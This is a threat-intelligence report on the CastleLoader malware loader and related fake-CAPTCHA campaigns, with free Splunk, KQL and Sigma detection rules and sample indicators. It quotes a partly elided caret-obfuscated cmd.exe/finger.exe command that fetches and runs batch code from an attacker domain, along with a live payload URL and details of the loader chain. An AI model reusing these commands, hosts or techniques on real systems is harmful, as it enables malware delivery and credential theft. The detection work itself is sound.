# CastleLoader debuts in Red Canary top 10: paste-and-run delivery of NetSupport Manager, CastleRAT and .NET infostealer; KongTuke surge

> Red Canary's Intelligence Insights (July 2026 edition, covering June 2026) ranks ClearFake #1 for a third consecutive month, reports KongTuke at its highest volume since November 2025, and shows CastleLoader debuting at #5. CastleLoader is delivered through fake-CAPTCHA paste-and-run lures that use caret-obfuscated finger.exe/cmd.exe chains, a portable Python interpreter extracted with tar.exe, and an RC4-encrypted payload that delivers NetSupport Manager, CastleRAT and a .NET infostealer.

- **Published:** 2026-11-09T09:24:39Z
- **Last reviewed:** 2026-11-09T09:24:39Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5537
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5537.png
- **ID:** TL-2026-5537
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** GrayBravo
- **Detections:** 9 (1 shown free below) · **IOCs:** 29 (3 shown free below)

## Description

Red Canary's Intelligence Insights: July 2026 (published 2026-07-23, ranking by unique customer environments for June 2026) lists ClearFake (#1, third consecutive month), KongTuke (#2), Scarlet Goldfinch and ScreenConnect (tied #3), CastleLoader (#5, new entry), Atomic Stealer (#6), and ACR Stealer, MacSync Stealer, NetSupport Manager and Vidar (tied #7). The source states no CVEs and no actor attribution for these threats.

CastleLoader (also tracked as CastleBot by IBM X-Force) is a malware-as-a-service loader first seen in early 2025 that delivers NetSupport Manager, CastleRAT and a .NET infostealer (CastleStealer). Third-party reporting (ManageEngine, citing Recorded Future) associates the operation with the actor TAG-150 and describes a closed affiliate model. Red Canary observed delivery through fake-CAPTCHA paste-and-run lures: the BackgroundFix campaign (fake background-removal sites ai-scan[.]digital and bg-transparency[.]online, documented by Huntress in April 2026) and LinkedIn/Indeed impersonation (linkedall[.]org, golinked[.]net, indeed-jobs[.]net) promoted through Google Ads, with fake Cloudflare Turnstile pages starting the chain.

Execution chain (Red Canary): the pasted command is a caret-obfuscated string (e.g. %COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r ...') do call %h & exit) that uses finger.exe to query nrLeDHDESi@cheeshomireciple[.]com and execute the returned batch commands. A batch command downloads a portable Python distribution disguised as a PDF (CPython 3.7.7.1 embeddable from python.org, or IronPython 3.4.2 from GitHub releases) and extracts it with tar.exe (bring-your-own-interpreter). The interpreter is renamed to a random 12-18 digit filename (e.g. ...\appdata\local\ironpython.3.4.2\net462\<digits>.exe). A further command runs a Base64/zlib-compressed Python script that fetches a shellcode loader (triple-layer Base64/zlib/UTF-32 encoding with Cyrillic character substitution). The loader pulls an RC4-encrypted payload from https://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12 (certificate verification disabled) containing the CastleLoader binary, which is injected into python.exe. The injected process contacts C2 for configuration, tasking and payloads. Capabilities noted by Red Canary: 14 launch methods (ShellExecuteW, WinExec, CreateProcessW, rundll32.exe, cmd.exe, powershell.exe, msiexec.exe), cpuid anti-analysis checks for VMware, VirtualBox and Parallels, and GDI BitBlt desktop screenshots.

KongTuke is a traffic distribution system first seen in 2024 that uses compromised WordPress sites; initial execution is paste-and-run, typically an obfuscated curl command contacting a .top domain (decoded in the hunt analysis as captcha-checkpoint[.]top). ClearFake injects JavaScript into compromised sites to deliver fake-CAPTCHA paste-and-run lures. No IOCs are listed in the source for ClearFake.

Corroborating sources: ManageEngine's CastleLoader profile (operator TAG-150; related CastleRAT/PyNightshade, CastleStealer, Dave crypter; additional BackgroundFix lure domains; nine launch methods; ChaCha20-encrypted C2 traffic; /service/settings, /service/tasks URI patterns); Huntress/CraftedSignal (CastleStealer targets browser credentials, wallet extension data and Telegram session files; NetSupport C2 on port 688 at poronto[.]com and giovettiadv[.]com; NetSupport drop path %ProgramData%\CeoliauD\Dabkina); Splunk Threat Research (CastleRAT C and Python builds, RC4 C2 with hardcoded key, rundll32-loaded DLL plugins, keylogging, Steam Community dead-drop resolvers). Sources differ on drop paths and final payloads, so specifics are campaign-dependent. BeaconBeagle was queried for mirtona[.]com but returned HTTP 502, so no C2 correlation was obtained.

## MITRE ATT&CK

- T1608.006 SEO Poisoning
- T1204.004 Malicious Copy and Paste
- T1059.003 Windows Command Shell
- T1059.006 Python
- T1218.011 Rundll32
- T1053.005 Scheduled Task
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1055 Process Injection
- T1620 Reflective Code Loading
- T1497.001 System Checks
- T1555.003 Credentials from Web Browsers
- T1082 System Information Discovery
- T1113 Screen Capture
- T1056.001 Keylogging
- T1071.001 Web Protocols
- T1573.001 Symmetric Cryptography
- T1102.001 Dead Drop Resolver
- T1219 Remote Access Tools

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**CastleLoader finger.exe Paste-and-Run Command Retrieval (Exploitation)** (`TL-2026-5537-SPL-001`)

Behaviour-first detection of the CastleLoader/BackgroundFix ClickFix chain: finger.exe execution, or a caret-obfuscated cmd.exe 'for /f' loop that calls finger and executes the returned batch line (Red Canary, Huntress). Also flags the known finger C2 cheeshomireciple[.]com. Threat TL-2026-5537.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1059.003, T1027
- **Data sources:** sysmon
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h
| eval img=lower(Image), cl=lower(CommandLine)
| eval cl_clean=mvjoin(split(cl,"^"),"")
| eval caret_runs=mvcount(split(cl,"^"))-1
| eval finger_exec=if(match(img,"(^|[^a-z0-9_])finger[.]exe$"),1,0)
| eval cmd_finger_loop=if(match(img,"(^|[^a-z0-9_])cmd[.]exe$") AND match(cl_clean,"for[ ]+/f") AND match(cl_clean,"finger") AND match(cl_clean,"call[ ]+%"),1,0)
| eval known_c2=if(match(cl_clean,"cheeshomireciple[.]com"),1,0)
| where finger_exec=1 OR cmd_finger_loop=1 OR known_c2=1
| table _time host user ParentImage Image CommandLine caret_runs finger_exec cmd_finger_loop known_c2
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| extend CleanCmd = tolower(replace_string(ProcessCommandLine, "^", ""))
| extend CaretCount = strlen(ProcessCommandLine) - strlen(replace_string(ProcessCommandLine, "^", ""))
| where FileName =~ "finger.exe"
    or (FileName =~ "cmd.exe" and CleanCmd contains "for /f" and CleanCmd contains "finger" and CleanCmd contains "call %")
    or (FileName =~ "cmd.exe" and CaretCount >= 4 and CleanCmd has_any ("finger", "curl", "mshta", "powershell"))
    or CleanCmd contains "cheeshomireciple.com"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, CleanCmd, CaretCount
| order by Timestamp desc
```

### Sigma

```yaml
title: CastleLoader Paste-and-Run finger.exe Command Retrieval via Caret-Obfuscated cmd.exe
id: 5a1c7e32-0b4d-4f6a-9c21-7d3e8a1b5c01
status: experimental
description: Detects the CastleLoader/BackgroundFix ClickFix chain in which a pasted caret-obfuscated cmd.exe command loops over finger.exe output (for /f ... call %h) to fetch and run batch commands over TCP/79, or finger.exe is launched at all.
references:
    - https://redcanary.com/blog/threat-intelligence/intelligence-insights-july-2026/
    - https://www.huntress.com/blog/clickfix-castleloader-backgroundfix
author: AII-Detector — ThreadLinqs Intelligence
date: 2026/11/09
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.003
    - attack.defense-evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_finger:
        Image|endswith: '\finger.exe'
    selection_cmd:
        Image|endswith: '\cmd.exe'
    for_loop:
        CommandLine|re: '(?i)f[^a-z]{0,4}o[^a-z]{0,4}r[ ]+/f'
    finger_str:
        CommandLine|re: '(?i)f[^a-z]{0,4}i[^a-z]{0,4}n[^a-z]{0,4}g[^a-z]{0,4}e[^a-z]{0,4}r'
    call_str:
        CommandLine|re: '(?i)c[^a-z]{0,4}a[^a-z]{0,4}l[^a-z]{0,4}l[ ]+%'
    selection_ioc:
        CommandLine|contains: 'cheeshomireciple.com'
    condition: selection_finger or selection_ioc or (selection_cmd and for_loop and finger_str and call_str)
falsepositives:
    - Legacy administrative use of finger.exe against internal hosts
    - Batch scripts that legitimately loop over command output with for /f
level: high

```

**Known false positives:**

- Legacy administrators using finger.exe to query user information on internal hosts
- Legitimate batch files that use for /f loops and caret escaping

**Tuning notes:** Any finger.exe execution on a modern Windows endpoint is rare; alert at high priority and exclude only named admin jump hosts. Tune caret_runs thresholds (Red Canary suggests four or more caret-separated characters) against legitimate installers. Block outbound TCP/79 at the perimeter.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- CastleLoader finger.exe / Caret-Obfuscated cmd.exe Paste-and-Run (Exploitation) (locked: unlock with TL Creds)
- CastleLoader Injection into python.exe and rundll32 Plugin Loading (Post-Exploitation) (locked: unlock with TL Creds)
- CastleLoader / NetSupport RAT Network C2 Indicators (C2) (locked: unlock with TL Creds)
- CastleLoader Paste-and-Run finger.exe Command Retrieval (Sigma) (locked: unlock with TL Creds)
- CastleLoader NetSupport Persistence and Digit-Named Interpreter (Sigma) (locked: unlock with TL Creds)
- CastleLoader / NetSupport RAT Infrastructure DNS Query (Sigma) (locked: unlock with TL Creds)
- CastleLoader Bring-Your-Own-Interpreter: tar.exe PDF Extraction and Digit-Named Python (Post-Exploitation) (locked: unlock with TL Creds)
- CastleLoader / NetSupport RAT C2 Infrastructure and Port 688/79 Egress (C2) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 29)

Defanged, TLP:CLEAR.

- Domain: `ai-scan[.]digital`
- File hash: `963c012d56c62093d105ab5044517fdcce4ab826f7782b3e377932da1df6896d`
- Domain: `bg-transparency[.]online`

Full set of 29 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Intelligence Insights: July 2026 (Red Canary)](https://redcanary.com/blog/threat-intelligence/intelligence-insights-july-2026/)
- [Intelligence Insights: July 2026 (Zscaler-hosted copy)](https://www.zscaler.com/blogs/product-insights/intelligence-insights-july-2026)
- [Huntress: ClickFix CastleLoader BackgroundFix](https://www.huntress.com/blog/clickfix-castleloader-backgroundfix)
- [CraftedSignal brief: ClickFix BackgroundFix](https://feed.craftedsignal.io/briefs/2026-04-clickfix-backgroundfix/)
- [Splunk: Behind the Walls: Techniques and Tactics in Castle RAT Client Malware](https://www.splunk.com/en_us/blog/security/castlerat-malware-detection-splunk-mitre-attck)
- [IBM X-Force: Dissecting the CastleBot Malware-as-a-Service operation](https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation)
- [ManageEngine: CastleLoader threat profile](https://www.manageengine.com/malware-protection/adversaries/castleloader.html)
- [The Hacker News: CastleLoader Malware Infects 469 Devices](https://thehackernews.com/2025/07/castleloader-malware-infects-469.html)
- [The Hacker News: TAG-150 Develops CastleRAT in Python](https://thehackernews.com/2025/09/tag-150-develops-castlerat-in-python.html)
- [Recorded Future Insikt Group report CTA-2025-0904 (TAG-150 / CastleRAT)](https://assets.recordedfuture.com/insikt-report-pdfs/2025/cta-2025-0904.pdf)
- [PolySwarm: CastleRAT](https://blog.polyswarm.io/castlerat)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5537